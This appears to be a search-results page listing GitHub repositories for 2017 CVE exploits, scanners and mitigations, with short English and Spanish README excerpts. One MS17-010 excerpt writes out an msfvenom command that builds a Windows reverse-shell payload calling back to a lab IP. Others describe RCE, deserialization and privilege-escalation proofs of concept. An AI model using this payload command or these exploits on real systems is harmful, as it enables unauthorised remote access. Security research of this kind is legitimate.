54524 matches found
exploiting-cve-2017-5123
Exploiting CVE-2017-5123 Introduction This repository is an addition to the article published in MISC Magazine 96. We achieved to elevate our privileges in a reliable way, on our virtual machine with SMEP / SMAP and KASLR enabled. It should however be noted that the system if left in an unstable...
CVE-2017-8917-Joomla-370-SQL-Injection
This repository does not have a README...
cve-2017-10271-poc
CVE-2017-10271 POC Introduction This is an autotest poc for CVE-2017-10271. Having been tested on CentOS 7 and Windows 7/10. Building This project is written in rust language. You need to install rust environment from https://www.rust-lang.org/ first and then build the project with the following...
cve-2017-0199
cve-2017-0199 Sample file used in the wild https://twitter.com/SyFi2k...
wpUsersScan
wpUsersScan About wpUsersScan Enumerate the users list of the wordpress websites through the REST API / CVE-2017-5487,WordPress 4.7.1 - Username Enumeration Usage $ python wpUsersScan.py URL How to install Clone Clone the repository with: $ git clone https://github.com/R3K1NG/wpUsersScan.git $ cd...
spectre-meltdown-checker
Spectre & Meltdown Checker A self-contained shell script to assess your system's resilience against the several transient execution CVEs that were published since early 2018, and give you guidance as to how to mitigate them. CVE list CVE| Name| Aliases ---|---|--- CVE-2017-5753| Bounds Check...
wpUsersScan
wpUsersScan Acerca de wpUsersScan Enumera la lista de usuarios de sitios WordPress a través de la API REST / CVE-2017-5487, WordPress 4.7.1 - Enumeración de nombres de usuario Uso $ python wpUsersScan.py URL Cómo instalar Clonar Clona el repositorio con: $ git clone...
apache-struts-v2-CVE-2017-5638
apache-struts-v2-CVE-2017-5638 POC funcional para CVE 2017-5638 Este repositorio contiene un ejemplo funcional en python que demuestra las capacidades de RCE de CVE 2017-5638. También se incluye como referencia el archivo WAR de Struts Showcase...
CVE-2017-0564-ION-PoC
CVE-2017-0564-ION-PoC PoC y análisis de la vulnerabilidad de escalada de privilegios genérica de ION LINK: https://android.googlesource.com/platform/cts/+/master/hostsidetests/security/securityPatch/CVE-2017-0564/ Reportado por: guoygang...
Goahead-CVE-2017-17562
Goahead-CVE-2017-17562...
RTF-Cleaner
RTF-Cleaner Limpia RTF, intenta extraer URL de muestras RTF maliciosas usando CVE-2017-0199 y CVE-2017-8759...
MS17-010_CVE-2017-0143
MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usando msfvenom para generar un payload: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Especifica el payload una shell TCP reversa para Windows. LHOST=10.10.14.4: La dirección IP...
SambaCry
SambaCry CVE-2017-7494.nse - Script de detección de Nmap...
nodejshell
NODEJSHELL - Exploit de reverse shell para deserialización en NodeJs CVE-2017-5941 El exploit genera automáticamente el payload de reverse shell que está codificado en decimal y luego en base64. Después de eso, ese payload se envía mediante una solicitud HTTP POST que serializa la entrada del...
Telewreck
Telewreck A Burp extension to detect and exploit versions of Telerik Web UI vulnerable to CVE-2017-9248. This extension is based on the original exploit tool written by Paul Taylor @bao7uo which is available at https://github.com/bao7uo/dpcrypto. Credits and big thanks to him. A related blog post...
weblogic-XMLDecoder
Este software se utiliza únicamente para aprendizaje e intercambio, prohibido cualquier uso ilegal Weblogic-XMLDecoder-GUI CVE-2017-10352 Trabajo experimental basado en Python GUI, función principal para explotar la vulnerabilidad de deserialización causada por Weblogic XMLDecoder. El objetivo de...
struts2-rce
Demo de Exploit para CVE-2017-5638 Completamente basado en https://github.com/piesecurity/apache-struts2-CVE-2017-5638 Un escenario realista donde un proyecto de referencia para un framework se despliega en un contenedor pero con terribles consecuencias. Para familiarizarte, mira el código y...
wp-allowed-hosts
WP Allowed Hosts Este plugin ha sido creado después de que se revelara la vulnerabilidad conocida como CVE-2017-8295, este plugin te protegerá de ese ataque sin complicaciones, solo añade una simple línea a tu wp-config.php. Instalación Solo descarga el plugin desde aquí y súbelo a tu sitio. Uso...
Jira-Scan
Jira-Scan SOLO PROBADO CON PYTHON 3 Proporciona una lista de sitios web para probar sin el http o https y esto probará cada uno para la vulnerabilidad SSRF. Usa una VPS de DO CVE-2017-9506 El IconUriServlet del Atlassian OAuth Plugin desde la versión 1.3.0 hasta la versión 1.9.12 y desde la versi...